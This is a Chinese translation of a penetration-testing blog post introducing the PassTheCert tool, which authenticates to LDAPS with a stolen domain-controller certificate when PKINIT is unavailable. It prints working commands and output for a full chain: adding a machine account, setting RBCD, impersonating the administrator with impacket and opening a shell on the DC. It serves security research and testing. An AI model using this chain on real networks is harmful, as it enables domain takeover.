项目地址
https://github.com/AlmondOffSec/PassTheCert
PassTheCert
有时,域控制器不支持PKINIT。这可能是因为他们的证书没有智能卡登录的EKU。
然而,包括LDAP在内的一些协议支持Schannel,因此通过TLS进行认证。我们创建了一个小型的概念验证工具,允许用证书对LDAP/S服务器进行认证,以执行不同的攻击行动。
更多信息请见随附的博文。
这个资源库包含一个C#版本,由the-useless-one编写,以及一个Python版本,由ThePirateWhoSmellsOfSunflowers / drm(@lowercase_drm)编写。
博文翻译
以下是《Authenticating with certificates when PKINIT is not supported》翻译版本
介绍
SpecterOps 关于 滥用 Active Directory 证书服务 (AD CS)的 “Certified Pre-Owned” 研究使渗透测试人员在内部评估期间更容易获得域管理员权限。
以下是我们在未针对 ADCS 攻击加固的环境中进行内部渗透测试时通常会发生的情况:
- 获取域帐户( 例如 ,通过 Responder 或 mitm6 )
- 查找 AD CS 网络注册服务( 例如 ,使用有效帐户和 Certify / Certipy ;或通过手动搜索在黑框中,或
ntlmrelayx.py
的--dump-adcs
选项) - 强制域控制器连接回我们的工作站( 例如 ,通过 printerbug.py 或 PetitPotam )
- 将此身份验证中继到 AD CS Web 注册服务 (在 “认证二手” 中描述的
ntlmrelayx.py
攻击 )以获得目标 DC 的证书。ESC8
- 使用 PKINITtools 为目标 DC 获取 TGT(或恢复其 NT 哈希),从而接管域。
但是,我最近遇到了最后一步 (PKINIT) 不起作用的 Active Directory 环境。
TL;DR :有时,域控制器不支持 PKINIT。 这可能是因为他们的证书没有 Smart Card Logon
EKU。 然而,一些协议——包括 LDAP——支持 Schannel,因此通过 TLS 进行身份验证。 我们创建了一个小型概念验证工具 PassTheCert ,它允许针对 LDAP/S 服务器进行身份验证以执行不同的攻击操作。
没有 PKINIT?
PKINIT 是一种 Kerberos 机制,允许使用 X.509 证书作为预身份验证方法。 它可用于请求 TGT,甚至是帐户的 NT 哈希。 已经有很多关于这个主题的文章,请参阅:
- Microsoft 关于 PKINIT 的文档。
- 白皮书为“Certified Pre-Owned” ,攻击 ID
THEFT5
。 - @_dirkjan 的 “NTLM 中继到 AD CS – 关于证书、打印机和小河马” , “滥用获得的证书 – 深入 PKINIT” 部分。
- @elad_shamir 的 “影子凭证:滥用密钥信托账户映射进行账户接管” , “什么是 PKINIT?”部分 和 “NTLM 呢?” .
通常,在 Active Directory 环境中部署 PKI 时,会支持 PKINIT。 然而,在我的评估过程中,我在尝试使用(恶意获得的)域控制器证书时遇到了以下错误消息:
$ python3 ~/tools/PKINITtools/gettgtpkinit.py -cert-pfx AD2_auth.pfx 'contoso.com/AD2$' AD2.ccache
2022-04-07 12:49:00,854 minikerberos INFO Loading certificate and key from file
2022-04-07 12:49:00,958 minikerberos INFO Requesting TGT
Traceback (most recent call last):
File "/home/yme/tools/PKINITtools/gettgtpkinit.py", line 349, in <module>
main()
File "/home/yme/tools/PKINITtools/gettgtpkinit.py", line 345, in main
amain(args)
File "/home/yme/tools/PKINITtools/gettgtpkinit.py", line 315, in amain
res = sock.sendrecv(req)
File "/home/yme/venv/PKINITtools/lib/python3.8/site-packages/minikerberos/network/clientsocket.py", line 87, in sendrecv
raise KerberosError(krb_message)
minikerberos.protocol.errors.KerberosError: Error Code: 16 Reason: KDC has no support for PADATA type (pre-authentication data)
这是此错误消息在 Wireshark 中的样子:
搜索错误消息,可以快速找到 有关该主题 的 Microsoft 文档:
KDC_ERR_PADATA_TYPE_NOSUPP
:正在尝试智能卡登录,但找不到正确的证书。 发生此问题的原因可能是查询了错误的证书颁发机构 (CA),或者无法联系正确的 CA 以获得域控制器的域控制器或域控制器身份验证证书。
当域控制器没有为智能卡(域控制器或域控制器身份验证模板)安装证书时,也会发生这种情况。
证书可以有多个扩展密钥用法 (EKU)。 如果 KDC 必须支持智能卡登录,则其证书必须具有 Smart Card Logon
EKU。 PKINIT 失败可能表明您的目标 KDC 没有包含必要 EKU 的证书。
如果您属于这种情况,则无法使用您的证书来获取 TGT 或 NT 哈希。 那么,您可以用您的证书做什么?
回到基础
由于没有明确的方法来使用我偷来的证书,我回到了 “Certified Pre-Owned” ,认为必须有一个部分解释如何在不依赖 Kerberos 的情况下使用证书进行身份验证。
有趣的信息在 “Active Directory Authentication with Certificates” 部分(强调我的):
在我们的研究过程中,我们还发现一些协议使用 Schannel——支持 SSL/TLS 的安全包——来验证域用户。 LDAPS 是一个普遍启用的用例 。 例如,以下屏幕截图显示了 PowerShell 脚本 Get-LdapCurrentUser 使用证书对 LDAPS 进行身份验证并执行 LDAP whoami 以查看通过身份验证的帐户 [.]
实际上,您可以使用 SSL/TLS 向域控制器进行身份验证。 这是 相关的 Microsoft 文档 (再次强调我的文档):
Active Directory 允许通过两种方式建立到 DC 的受 SSL/TLS 保护的连接。 第一种是通过受保护的 LDAPS 端口(AD DS 中的 TCP 端口 636 和 3269,以及 AD LDS 中的配置特定端口)连接到 DC。 第二种是通过常规 LDAP 端口(AD DS 中的 TCP 端口 389 或 3268,以及 AD LDS 中的特定配置端口)连接到 DC,然后发送 LDAP_SERVER_START_TLS_OID 扩展操作 [RFC2830] 。 在这两种情况下,DC 都会请求(但不要求)客户端的证书作为 SSL/TLS 握手 [RFC2246] 的一部分。 如果客户端当时向 DC 出示有效证书,DC 可以使用它来验证(绑定)连接,作为证书所代表的凭据 。
执行 Lee Christensen 的 Get-LdapCurrentUser
输出如下:
PS C:\> Get-LdapCurrentUser -Certificate Z:\AD2.pfx -Server AD1.contoso.com:636 -UseSSL
u:CONTOSO\AD2$
太好了,它有效! 这意味着我们可以向 LDAP 服务进行身份验证。 我们现在有办法使用我们的恶意 DC 证书。 然而,似乎没有支持使用 TLS 证书进行身份验证的攻击性工具。
输入 PassTheCert
因此,我创建 PassTheCert
了一个简单的 C# 工具,它可以使用客户端证书向 LDAP 服务器进行身份验证,并执行攻击者感兴趣的操作。 与大多数其他攻击性工具不同,它具有在启用 LDAP 通道绑定的环境中工作的额外好处,因为 Schannel 身份验证在设计上不受通道绑定的约束。
由于我们正在连接到 LDAP,因此我们的权限提升方法是有限的。 目前,只实施了四种攻击向量:
- 向用户授予 DCSync 权限。 如果您设法为特权帐户获取/生成证书,例如 (仍然) 可以
WriteDacl
访问域对象的 Exchange 服务器,这将很有用。 - 修改
msDS-AllowedToActOnBehalfOfOtherIdentity
域机器的属性以执行基于 资源的约束委派 (RBCD) 攻击 。 这很好,因为机器可以更新自己的属性。 - 将计算机添加到域中,这对于执行 RBCD 攻击很有用。 这也是一个很好的方法,因为默认情况下经过身份验证的用户可以将机器添加到域中,并且它与上面的攻击非常相配。
- 重置帐户密码。 这需要对
User-Force-Change-Password
目标帐户的权限。
您可以在此处 找到代码 ,以及由 @lowercase_drm 实现的 Python 版本。 Google 员工注意事项:此工具扩展了 Pass the Certificate的概念, @_nwodtuhs 在他 关于 AD CS 和 PKINIT 的 Twitter 线程 中将其命名为 。
现在,假设您处于与我相似的情况:您拥有域控制器的证书,但没有 PKINIT。 您可以先在域中创建一台新计算机:
PS C:\> .\PassTheCert.exe --server ad1.contoso.com --cert-path Z:\ad2.pfx --add-computer --computer-name DESKTOP-1337$
No password given, generating random one.
Generated password: Q2cpNOMhwlU2yZQBPAbJ1YY9M9XJIfBc
Success
现在您拥有了一台由您控制的计算机,并定义了 SPN 和所有内容,您可以将其 SID 添加到您的域控制器的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性中:
PS C:\> .\PassTheCert.exe --server ad1.contoso.com --cert-path Z:\ad2.pfx --rbcd --target "CN=AD2,OU=Domain Controllers,DC=contoso,DC=com" --sid "S-1-5-21-863927164-4106933278-53377030-3122"
msDS-AllowedToActOnBehalfOfOtherIdentity attribute is empty
You can clear it using arguments:
--target "CN=AD2,OU=Domain Controllers,DC=contoso,DC=com" --restore clear
Success
现在已经完成,你可以回到你信任的地方 impacket
执行 RBCD 攻击,并在你的 DC 上冒充域管理员:
$ getST.py -spn 'cifs/ad2.contoso.com' -impersonate Administrateur 'contoso.com/desktop-1337$:Q2cpNOMhwlU2yZQBPAbJ1YY9M9XJIfBc'
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrateur
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrateur.ccache
$ export KRB5CCNAME=Administrateur.ccache
$ wmiexec.py -k -no-pass contoso.com/Administrateur@ad2.contoso.com
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
contoso\administrateur
以下是使用该工具的 Python 版本进行的攻击:
通过 Schannel 进行身份验证会生成 ID 为 4648
和 的两个事件 4624
,就像任何身份验证机制一样。 我们可以看到登录进程是Schannel。 身份验证设置为 Kerberos,这似乎证实 了白皮书“Certified Pre-Owned” (第 32 页):
Schannel 首先尝试使用 Kerberos 的 S4U2Self 功能将凭据映射到用户帐户。 如果不成功,它将尝试使用证书的 SAN 扩展、主题和颁发者字段的组合或仅来自颁发者 [.] 将证书映射到用户帐户。
未来的工作
PassTheCert
是开源的,所以可以随意扩展它。 目前,它是一个非常简单的工具,主要用作概念验证。 它只支持 LDAP/S 协议,并且只实现了最低限度的操作。 正如“Certified Pre-Owned”(第 32 页)白皮书 所提醒的那样 ,其他协议支持 Schannel 身份验证,但似乎并不是开箱即用的。 不过,如果能够使用 ESC8
通过 RDP 获得的证书进行身份验证,那就太好了。
我们还在考虑在 pywerview 中实现证书身份验证,这将允许在 LDAP 服务器上执行更多操作(例如,读取 gMSA 的密码)。
然而,在 中实施证书身份验证 impacket
虽然不是一件容易的事,但对我们的进攻工具包来说是一个很好的补充。
最后,如果您阅读了有关 DC 的 SSL/TLS 连接的 Microsoft 文档的摘录,您可能已经看到我们可以通过两种不同的方式通过 TLS 进行身份验证:
- 直接在 LDAPS 端口 (TCP/636)
- 通过 StartTLS 在 LDAP 端口 (TCP/389) 上
PassTheCert
支持两种方式,这允许在 TCP/636 关闭时在 TCP/389 上使用它。
这是 @lowercase_drm关于 通过 StartTLS 绕过 LDAP 通道绑定 的研究的切入点 ,再次表明深入研究子集可能会导致意想不到的发现。
没有回复内容